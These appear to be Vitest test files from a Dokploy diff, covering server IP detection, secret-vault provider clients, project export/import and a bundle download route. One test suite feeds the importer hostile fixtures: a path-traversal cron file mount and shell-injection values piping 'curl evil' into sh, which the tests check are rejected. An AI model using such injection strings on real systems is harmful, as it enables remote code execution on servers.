const mocks = vi.hoisted(() => ({
execAsyncRemote: vi.fn(),
findServerById: vi.fn(),
getPublicIpWithFallback: vi.fn(),
getWebServerSettings: vi.fn(),
resolve4: vi.fn(),
resolve6: vi.fn(),
}));
vi.mock("node:dns", () => ({
default: {
resolve4: mocks.resolve4,
resolve6: mocks.resolve6,
},
}));
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
execAsyncRemote: mocks.execAsyncRemote,
}));
vi.mock("@dokploy/server/services/server", () => ({
findServerById: mocks.findServerById,
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
}));
vi.mock("@dokploy/server/wss/utils", () => ({
getPublicIpWithFallback: mocks.getPublicIpWithFallback,
}));
describe("getServerIpCandidates", () => {
beforeEach(() => {
vi.clearAllMocks();
});
afterEach(() => {
vi.restoreAllMocks();
vi.useRealTimers();
});
it("includes every address reported by a multi-homed remote server", async () => {
mocks.findServerById.mockResolvedValue({
ipAddress: "10.0.0.10",
});
mocks.execAsyncRemote.mockResolvedValue({
stdout: ["10.0.0.10", "192.0.2.10", "2001:db8::10"].join("\n"),
stderr: "",
});
await expect(getServerIpCandidates("server-id")).resolves.toEqual([
"10.0.0.10",
"192.0.2.10",
"2001:db8::10",
]);
expect(mocks.execAsyncRemote).toHaveBeenCalledWith(
"server-id",
expect.stringContaining("ip -o addr show scope global"),
);
});
it("includes every address assigned to the local Dokploy host", async () => {
mocks.getWebServerSettings.mockResolvedValue({
serverIp: "10.0.0.10",
});
mocks.getPublicIpWithFallback.mockResolvedValue("2001:db8::10");
vi.spyOn(os, "networkInterfaces").mockReturnValue({
eth0: [
{
address: "192.0.2.10",
netmask: "255.255.255.0",
family: "IPv4",
mac: "00:00:00:00:00:00",
internal: false,
cidr: "192.0.2.10/24",
},
],
});
await expect(getServerIpCandidates()).resolves.toEqual([
"10.0.0.10",
"192.0.2.10",
"2001:db8::10",
]);
});
it("retains remote interface addresses when public IP detection times out", async () => {
vi.useFakeTimers();
mocks.findServerById.mockResolvedValue({
ipAddress: "10.0.0.10",
});
mocks.execAsyncRemote.mockImplementation(
(_serverId: string, command: string) => {
if (command.includes("curl")) {
return new Promise(() => undefined);
}
return Promise.resolve({
stdout: "192.0.2.10\n",
stderr: "",
});
},
);
const candidatesPromise = getServerIpCandidates("server-id");
await vi.advanceTimersByTimeAsync(7000);
await expect(candidatesPromise).resolves.toEqual([
"10.0.0.10",
"192.0.2.10",
]);
});
});
describe("validateDomain", () => {
afterEach(() => {
vi.clearAllMocks();
});
it("validates an IPv6-only domain against an IPv6 server address", async () => {
const noIpv4 = Object.assign(new Error("queryA ENODATA example.com"), {
code: "ENODATA",
});
mocks.resolve4.mockImplementation(
(_domain: string, callback: (error: Error | null) => void) =>
callback(noIpv4),
);
mocks.resolve6.mockImplementation(
(
_domain: string,
callback: (error: Error | null, addresses?: string[]) => void,
) => callback(null, ["2001:db8::10"]),
);
await expect(
validateDomain("example.com", ["2001:db8::10"]),
).resolves.toMatchObject({
isValid: true,
resolvedIp: "2001:db8::10",
});
});
});
+195
View File
@@ -0,0 +1,195 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
type HasInput = { input: Record<string, unknown> };
const findMany = vi.hoisted(() => vi.fn());
const {
send,
paginate,
SSMClient,
GetParametersCommand,
DescribeParametersCommand,
} = vi.hoisted(() => {
class FakeCommand {
input: Record<string, unknown>;
constructor(input: Record<string, unknown>) {
this.input = input;
}
}
const send = vi.fn();
const paginate = vi.fn();
class SSMClient {
send(command: unknown) {
return send(command);
}
}
return {
send,
paginate,
SSMClient,
GetParametersCommand: class extends FakeCommand {},
DescribeParametersCommand: class extends FakeCommand {},
};
});
vi.mock("@aws-sdk/client-ssm", () => ({
SSMClient,
GetParametersCommand,
DescribeParametersCommand,
paginateDescribeParameters: paginate,
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
vaultProvider: {
findMany: (...args: unknown[]) => findMany(...args),
},
},
},
}));
import { resolveVaultReferences } from "@dokploy/server/utils/vault";
import { awsParameterStoreClient } from "@dokploy/server/utils/vault/aws-parameter-store";
const config = {
providerType: "aws-parameter-store" as const,
region: "eu-central-1",
accessKeyId: "AKIA_TEST",
secretAccessKey: "secret",
};
beforeEach(() => {
send.mockReset();
paginate.mockReset();
findMany.mockReset();
});
describe("awsParameterStoreClient", () => {
it("decrypts parameters in batches of ten and preserves selectors", async () => {
const refs = [
"/prod/database:CURRENT",
...Array.from({ length: 10 }, (_, index) => `/prod/secret-${index}`),
];
send.mockImplementation(async (command: HasInput) => ({
Parameters: (command.input.Names as string[]).map((ref) => {
if (ref === "/prod/database:CURRENT") {
return {
Name: "/prod/database",
Selector: ":CURRENT",
Value: "selected-value",
};
}
return { Name: ref, Value: `value-for-${ref}` };
}),
}));
const result = await awsParameterStoreClient.getSecrets(config, refs);
expect(send).toHaveBeenCalledTimes(2);
expect((send.mock.calls[0]?.[0] as HasInput).input).toMatchObject({
WithDecryption: true,
});
expect(
((send.mock.calls[0]?.[0] as HasInput).input.Names as string[]).length,
).toBe(10);
expect(
((send.mock.calls[1]?.[0] as HasInput).input.Names as string[]).length,
).toBe(1);
expect(result["/prod/database:CURRENT"]).toBe("selected-value");
expect(result["/prod/secret-9"]).toBe("value-for-/prod/secret-9");
});
it("reports a missing parameter without exposing other values", async () => {
send.mockResolvedValue({ Parameters: [], InvalidParameters: ["/missing"] });
await expect(
awsParameterStoreClient.getSecrets(config, ["/missing"]),
).rejects.toThrow('AWS Parameter Store: parameter "/missing" not found');
});
it("tests the connection within the configured hierarchy", async () => {
send.mockResolvedValue({ Parameters: [] });
await awsParameterStoreClient.testConnection({
...config,
parameterPath: "/production/my-app/",
});
expect(send).toHaveBeenCalledTimes(1);
expect((send.mock.calls[0]?.[0] as HasInput).input).toEqual({
ParameterFilters: [
{
Key: "Path",
Option: "Recursive",
Values: ["/production/my-app"],
},
],
MaxResults: 1,
});
});
it("explains the discovery permission when connection testing is denied", async () => {
const error = new Error("not authorized");
error.name = "AccessDeniedException";
send.mockRejectedValue(error);
await expect(
awsParameterStoreClient.testConnection(config),
).rejects.toThrow("ssm:DescribeParameters");
});
it("lists parameter names across pages within the configured hierarchy", async () => {
paginate.mockReturnValue(
(async function* () {
yield { Parameters: [{ Name: "/prod/db" }] };
yield { Parameters: [{ Name: "/prod/api" }] };
})(),
);
const names = await awsParameterStoreClient.listSecretNames?.({
...config,
parameterPath: " /production/my-app/ ",
});
expect(names).toEqual(["/prod/db", "/prod/api"]);
expect(paginate).toHaveBeenCalledWith(
expect.objectContaining({ pageSize: 50 }),
{
ParameterFilters: [
{
Key: "Path",
Option: "Recursive",
Values: ["/production/my-app"],
},
],
},
);
});
it("resolves a vault reference through the registered provider", async () => {
findMany.mockResolvedValue([
{
name: "ssm-prod",
providerType: "aws-parameter-store",
config,
assignments: [{ projectId: "project-1", environmentIds: [] }],
},
]);
send.mockResolvedValue({
Parameters: [{ Name: "/prod/database-password", Value: "resolved" }],
});
const result = await resolveVaultReferences(
"DB_PASSWORD=${{vault.ssm-prod./prod/database-password}}",
{
organizationId: "organization-1",
projectId: "project-1",
environmentId: "environment-1",
},
);
expect(result).toBe("DB_PASSWORD=resolved");
});
});
+218
View File
@@ -20,6 +20,7 @@ import {
import { azureClient } from "@dokploy/server/utils/vault/azure";
import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
import { infisicalClient } from "@dokploy/server/utils/vault/infisical";
import { phaseClient } from "@dokploy/server/utils/vault/phase";
import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
@@ -431,6 +432,223 @@ describe("azure client", () => {
});
});
describe("infisical client", () => {
const config = {
providerType: "infisical" as const,
siteUrl: "https://app.infisical.com",
clientId: "client-1",
clientSecret: "client-secret",
projectId: "workspace-1",
environmentSlug: "prod",
secretPath: "/frontend",
};
const loginResponse = () => jsonResponse({ accessToken: "token-1" });
const list = (secrets: Record<string, string>) =>
jsonResponse({
secrets: Object.entries(secrets).map(([secretKey, secretValue]) => ({
secretKey,
secretValue,
})),
});
const listPathOf = (callIndex: number) => {
const [url] = mockFetch.mock.calls[callIndex] as [string];
return new URL(url).searchParams.get("secretPath");
};
it("asks the list endpoint to expand secret references", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(list({ DB_URL: "postgres://real" }));
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
expect(result).toEqual({ DB_URL: "postgres://real" });
const [listUrl] = mockFetch.mock.calls[1] as [string];
const params = new URL(listUrl).searchParams;
expect(params.get("expandSecretReferences")).toBe("true");
expect(params.get("workspaceId")).toBe("workspace-1");
expect(params.get("environment")).toBe("prod");
expect(params.get("secretPath")).toBe("/frontend");
});
it("asks for imported secrets and merges them", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [],
imports: [
{
secretPath: "/shared",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://imported" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
expect(result).toEqual({ DB_URL: "postgres://imported" });
const [listUrl] = mockFetch.mock.calls[1] as [string];
// snake_case on purpose: `includeImports` is silently ignored and the
// response comes back with an empty `imports` array.
expect(new URL(listUrl).searchParams.get("include_imports")).toBe("true");
});
it("lets the later import win when two define the same key", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [],
imports: [
{
secretPath: "/base",
secrets: [{ secretKey: "DB_URL", secretValue: "postgres://base" }],
},
{
secretPath: "/override",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://override" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
// Infisical documents this order: "If two imports carry a secret with the
// same name, the value from the bottom-most import wins." The response
// lists imports in that order, so assigning them in sequence matches it.
expect(result).toEqual({ DB_URL: "postgres://override" });
});
it("lets a folder's own secret win over an imported one of the same name", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [{ secretKey: "DB_URL", secretValue: "postgres://local" }],
imports: [
{
secretPath: "/shared",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://imported" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
expect(result).toEqual({ DB_URL: "postgres://local" });
});
it("throws a clear error for a missing secret", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(jsonResponse({ secrets: [] }));
await expect(
infisicalClient.getSecrets(config, ["ABSENT"]),
).rejects.toThrow('secret "ABSENT" not found in environment "prod"');
});
it("propagates authentication failures with the status code", async () => {
mockFetch.mockResolvedValueOnce(jsonResponse({}, false, 401));
await expect(
infisicalClient.getSecrets(config, ["DB_URL"]),
).rejects.toThrow("authentication failed (status 401)");
});
it("resolves a relative <path>:<KEY> ref against the provider path", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(list({ SENTRY_DSN: "https://key@sentry.io/1" }));
const result = await infisicalClient.getSecrets(config, [
"shared/sentry:SENTRY_DSN",
]);
expect(result).toEqual({
"shared/sentry:SENTRY_DSN": "https://key@sentry.io/1",
});
expect(listPathOf(1)).toBe("/frontend/shared/sentry");
});
it("treats a leading slash as an absolute path", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(list({ SENTRY_DSN: "https://key@sentry.io/1" }));
await infisicalClient.getSecrets(config, ["/external/sentry:SENTRY_DSN"]);
expect(listPathOf(1)).toBe("/external/sentry");
});
it("keeps the root path clean when the provider sits at /", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(list({ KEY: "value" }));
await infisicalClient.getSecrets({ ...config, secretPath: "/" }, [
"external/sentry:KEY",
]);
expect(listPathOf(1)).toBe("/external/sentry");
});
it("logs in once and fetches each path once", async () => {
const byPath: Record<string, Record<string, string>> = {
"/frontend": { A: "a", B: "b" },
"/frontend/other": { C: "c" },
};
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("/auth/universal-auth/login")) return loginResponse();
const path = new URL(url).searchParams.get("secretPath") as string;
return list(byPath[path] ?? {});
});
const result = await infisicalClient.getSecrets(config, [
"A",
"B",
"other:C",
]);
expect(result).toEqual({ A: "a", B: "b", "other:C": "c" });
const urls = mockFetch.mock.calls.map(([url]) => url as string);
expect(urls.filter((u) => u.includes("/login"))).toHaveLength(1);
expect(
urls
.filter((u) => u.includes("/secrets/raw?"))
.map((u) => new URL(u).searchParams.get("secretPath"))
.sort(),
).toEqual(["/frontend", "/frontend/other"]);
});
it("names the path when a secret is missing from an explicit one", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(list({}));
await expect(
infisicalClient.getSecrets(config, ["external/sentry:ABSENT"]),
).rejects.toThrow(
'secret "ABSENT" not found at "/frontend/external/sentry"',
);
});
it("rejects a ref with an empty path or key", async () => {
await expect(infisicalClient.getSecrets(config, [":KEY"])).rejects.toThrow(
"expected format <path>:<KEY>",
);
await expect(
infisicalClient.getSecrets(config, ["external/sentry:"]),
).rejects.toThrow("expected format <path>:<KEY>");
});
});
describe("doppler client", () => {
it("propagates auth errors with the status code", async () => {
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
@@ -0,0 +1,127 @@
import { projects, projectTags, tags } from "@dokploy/server/db/schema";
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import { apply } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {
projectId: "project-src",
name: "src",
env: "",
tags: [
{ name: "prod", color: "#f00" },
{ name: "billing", color: null },
],
},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
describe("apply project tags", () => {
it("reuses an existing tag by name and creates the missing one", async () => {
const inserted = new Map<unknown, Record<string, unknown>[]>();
const writeDb = {
query: {
tags: {
findFirst: async (args: {
where: (f: unknown, o: unknown) => unknown;
}) => {
const captured: unknown[] = [];
args.where(new Proxy({}, { get: (_t, prop) => String(prop) }), {
and: (...v: unknown[]) => v,
eq: (a: unknown, b: unknown) => captured.push([a, b]),
});
const nameArg = captured.find(
(c) => (c as [unknown, unknown])[0] === "name",
) as [unknown, string] | undefined;
return nameArg?.[1] === "prod"
? { tagId: "tag-existing", name: "prod" }
: undefined;
},
},
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const row = { ...values };
if (table === projects) row.projectId = "project-new";
if (table === tags) row.tagId = "tag-new";
const list = inserted.get(table) ?? [];
list.push(row);
inserted.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...writeDb }),
} as unknown as TransferWriteDb;
await apply(writeDb, snapshot, plan, new Map(), "org-dest");
expect(inserted.get(projects)?.[0]).not.toHaveProperty("tags");
expect(inserted.get(tags)).toEqual([
{
name: "billing",
color: null,
organizationId: "org-dest",
tagId: "tag-new",
},
]);
expect(inserted.get(projectTags)).toEqual([
{ projectId: "project-new", tagId: "tag-existing" },
{ projectId: "project-new", tagId: "tag-new" },
]);
});
});
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,92 @@
import {
regenerateAppName,
replaceAppNames,
rewriteSslipIoIp,
rewriteVolumeName,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("regenerateAppName", () => {
it("strips the last hyphen segment and rebuilds a fresh suffix", () => {
const result = regenerateAppName("application", "myapp-verb-noun-ab12cd");
expect(result).not.toBe("myapp-verb-noun-ab12cd");
expect(result.startsWith("myapp-verb-noun-")).toBe(true);
});
it("handles an app name with no hyphen", () => {
const result = regenerateAppName("application", "singleword");
expect(result.startsWith("singleword-")).toBe(true);
});
it("produces a different name on every call", () => {
const first = regenerateAppName("application", "myapp-verb-noun-ab12cd");
const second = regenerateAppName("application", "myapp-verb-noun-ab12cd");
expect(first).not.toBe(second);
});
});
describe("replaceAppNames", () => {
it("replaces a standalone app name reference", () => {
const result = replaceAppNames("DEPLOY_TARGET=app-foo ready", {
"app-foo": "app-bar",
});
expect(result).toBe("DEPLOY_TARGET=app-bar ready");
});
it("does not touch a key that only matches mid-token (left boundary)", () => {
const result = replaceAppNames("myapp-foo deployed", { foo: "bar" });
expect(result).toBe("myapp-foo deployed");
});
it("prefers the longest match when both names are in the map (prefix collision)", () => {
const result = replaceAppNames("app-foo-bar and app-foo both here", {
"app-foo": "short-renamed",
"app-foo-bar": "long-renamed",
});
expect(result).toBe("long-renamed and short-renamed both here");
});
it("returns the text unchanged when the map is empty", () => {
expect(replaceAppNames("app-foo", {})).toBe("app-foo");
});
it("returns null/empty text unchanged", () => {
expect(replaceAppNames("", { "app-foo": "app-bar" })).toBe("");
});
});
describe("rewriteVolumeName", () => {
it("reports rewritten: true when the name changes", () => {
const result = rewriteVolumeName("app-foo-data", {
"app-foo": "app-bar",
});
expect(result).toEqual({ value: "app-bar-data", rewritten: true });
});
it("reports rewritten: false when nothing matches", () => {
const result = rewriteVolumeName("unrelated-volume", {
"app-foo": "app-bar",
});
expect(result).toEqual({ value: "unrelated-volume", rewritten: false });
});
});
describe("rewriteSslipIoIp", () => {
it("swaps the trailing IP segment of an auto-generated sslip.io host for the destination's IP", () => {
const result = rewriteSslipIoIp(
"my-app-ab12cd-10-0-0-5.sslip.io",
"203.0.113.9",
);
expect(result).toBe("my-app-ab12cd-203-0-113-9.sslip.io");
});
it("leaves a non-sslip.io host untouched", () => {
const result = rewriteSslipIoIp("api.example.com", "203.0.113.9");
expect(result).toBe("api.example.com");
});
it("leaves the host untouched when no destination IP is known", () => {
const result = rewriteSslipIoIp("my-app-ab12cd-10-0-0-5.sslip.io", null);
expect(result).toBe("my-app-ab12cd-10-0-0-5.sslip.io");
});
});
@@ -0,0 +1,198 @@
import { PassThrough } from "node:stream";
import { beforeEach, describe, expect, it, vi } from "vitest";
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
const { streamBox } = vi.hoisted(() => ({
streamBox: { content: Buffer.from("bundle bytes"), exitCode: 0 },
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
const { PassThrough: Pass } = await import("node:stream");
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationDestination: vi.fn(
async (destinationId: string, organizationId: string) => {
if (destinationId === "dest-1" && organizationId === "org-1") {
return { destinationId, bucket: "b", organizationId };
}
throw new Error("Destination not found");
},
),
listBundles: vi.fn(async () => [
{
key: `${actual.EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`,
size: streamBox.content.length,
modTime: "2024-01-01T00:00:00.000Z",
},
]),
streamBundleFromDestination: vi.fn(async () => {
const stdout = new Pass();
const stdin = new Pass();
stdin.resume();
process.nextTick(() => stdout.end(streamBox.content));
return {
stdin,
stdout,
stderr: new Pass(),
exit: Promise.resolve(streamBox.exitCode),
close: () => {},
};
}),
};
},
);
const { assertTransferPermission, EXPORTS_DIRECTORY } = await import(
"@dokploy/server/services/project-export-import"
);
const handler = (await import("../../pages/api/project-export-import/bundle"))
.default;
const buildReq = (query: Record<string, string>, method = "GET") => ({
method,
query,
headers: {},
});
const buildRes = () => {
const body = new PassThrough();
const chunks: Buffer[] = [];
body.on("data", (chunk) => chunks.push(chunk as Buffer));
const res = body as unknown as PassThrough & {
statusCode: number;
jsonBody?: unknown;
headers: Record<string, unknown>;
status: (code: number) => typeof res;
json: (value: unknown) => void;
setHeader: (key: string, value: unknown) => void;
body: () => Buffer;
};
res.statusCode = 200;
res.headers = {};
res.status = (code) => {
res.statusCode = code;
return res;
};
res.json = (value) => {
res.jsonBody = value;
res.end();
};
res.setHeader = (key, value) => {
res.headers[key] = value;
};
res.body = () => Buffer.concat(chunks);
return res;
};
const goodKey = `${EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`;
beforeEach(() => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
streamBox.exitCode = 0;
});
describe("bundle download route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(401);
});
it("rejects keys outside the exports directory or with the wrong extension", async () => {
for (const key of [
"backups/prod.sql.gz",
`${EXPORTS_DIRECTORY}/../secret.dokploy.tar.gz`,
`${EXPORTS_DIRECTORY}/notes.txt`,
]) {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key }) as any,
res as any,
);
expect(res.statusCode).toBe(400);
}
});
it("rejects a non-owner caller", async () => {
vi.mocked(assertTransferPermission).mockRejectedValueOnce(
new Error("Only organization owners and admins can do that"),
);
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(403);
});
it("returns 404 for a destination outside the organization", async () => {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-other", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(404);
});
it("returns 404 for a bundle that is not in the listing", async () => {
const res = buildRes();
await handler(
buildReq({
destinationId: "dest-1",
key: `${EXPORTS_DIRECTORY}/missing.dokploy.tar.gz`,
}) as any,
res as any,
);
expect(res.statusCode).toBe(404);
});
it("streams the object with the right headers", async () => {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(200);
expect(res.headers["Content-Length"]).toBe(streamBox.content.length);
expect(res.headers["Content-Disposition"]).toContain("p-1.dokploy.tar.gz");
expect(res.body().equals(streamBox.content)).toBe(true);
});
it("answers with a JSON error when listing the destination fails", async () => {
const { listBundles } = await import(
"@dokploy/server/services/project-export-import"
);
vi.mocked(listBundles).mockRejectedValueOnce(new Error("bad credentials"));
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(502);
});
});
@@ -0,0 +1,182 @@
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import { apply } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const manifest: Snapshot["manifest"] = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
};
const plan = (overrides: Partial<Plan> = {}): Plan => ({
target: { kind: "newProject", name: "p" },
resolutions: {},
serverMap: { null: null },
appNameMap: { "web-abc123": "web-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
...overrides,
});
const writeDb = () =>
({
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
},
insert: () => ({
values: (values: Record<string, unknown>) => ({
returning: async () => [
{
...values,
projectId: "project-new",
environmentId: "env-new",
applicationId: "app-new",
destinationId: "dest-new",
},
],
}),
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => fn(writeDb()),
}) as unknown as TransferWriteDb;
const appWith = (mount: Record<string, unknown>): Snapshot => ({
manifest,
resources: {
project: { projectId: "project-src", name: "p", env: "" },
environments: [{ environmentId: "env-1", name: "production", env: "" }],
services: [
{
kind: "application",
applicationId: "app-1",
appName: "web-abc123",
environmentId: "env-1",
mounts: [mount],
},
],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
});
describe("apply rejects unsafe bundle rows", () => {
it("refuses a file mount whose filePath escapes the service directory", async () => {
const snapshot = appWith({
mountId: "m-1",
type: "file",
filePath: "../../../etc/cron.d/x",
content: "* * * * * root id",
mountPath: "/x",
});
await expect(
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
).rejects.toThrow(/Unsafe mount filePath/);
});
it("refuses a volume mount with a shell-unsafe volume name", async () => {
const snapshot = appWith({
mountId: "m-1",
type: "volume",
volumeName: "x:/v; curl evil | sh; #",
mountPath: "/data",
});
await expect(
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
).rejects.toThrow(/Invalid volume name/);
});
it("refuses a destination whose additional rclone flags don't match the API rule", async () => {
const snapshot: Snapshot = {
manifest,
resources: {
project: { projectId: "project-src", name: "p", env: "" },
environments: [],
services: [],
shared: {
destination: [
{
destinationId: "dest-src",
name: "backups",
bucket: "b",
endpoint: "e",
region: "r",
accessKey: "$secret:a",
secretAccessKey: "$secret:b",
additionalFlags: ["; curl http://evil | sh #"],
},
],
},
},
requirements: [
{
kind: "destination",
originalId: "dest-src",
configIncluded: true,
usedBy: [],
bucket: "b",
endpoint: "e",
region: "r",
},
],
warnings: [],
dumps: [],
};
await expect(
apply(
writeDb(),
snapshot,
plan({
resolutions: {
"destination:dest-src": {
requirementKey: "destination:dest-src",
action: "create",
},
},
}),
new Map([
["a", "ak"],
["b", "sk"],
]),
"org-dest",
),
).rejects.toThrow(/invalid additional rclone flags/);
});
});
@@ -0,0 +1,440 @@
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
CaptureNotFoundError,
capture,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const application1 = {
applicationId: "app-1",
name: "app-1",
appName: "app-one",
environmentId: "env-1",
env: "DB_PASS=hunter2\nAPI_KEY=abc123",
buildArgs: null,
serverId: "server-1",
buildServerId: "server-1",
githubId: "gh-1",
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token-1",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "server { listen 80; }",
createdAt: "2024-01-01",
},
{
mountId: "mount-2",
type: "bind",
content: null,
createdAt: "2024-01-01",
},
],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpass",
createdAt: "2024-01-01",
},
],
ports: [],
schedules: [],
volumeBackups: [],
};
const application2 = {
applicationId: "app-2",
name: "app-2",
appName: "app-two",
environmentId: "env-2",
env: "",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres1 = {
postgresId: "pg-1",
name: "pg-1",
appName: "pg-one",
environmentId: "env-1",
env: "PGPASS=supersecret",
databasePassword: "realdbpassword",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [
{
backupId: "backup-1",
createdAt: "2024-01-01T00:00:00.000Z",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "metasecret" },
},
},
],
volumeBackups: [],
};
const mysql1 = {
mysqlId: "mysql-1",
name: "mysql-1",
appName: "mysql-one",
environmentId: "env-1",
env: "",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application1],
postgres: [postgres1],
mysql: [mysql1],
...emptyServiceArrays,
},
{
environmentId: "env-2",
name: "staging",
projectId: "project-1",
env: "",
isDefault: false,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application2],
postgres: [],
mysql: [],
...emptyServiceArrays,
},
],
};
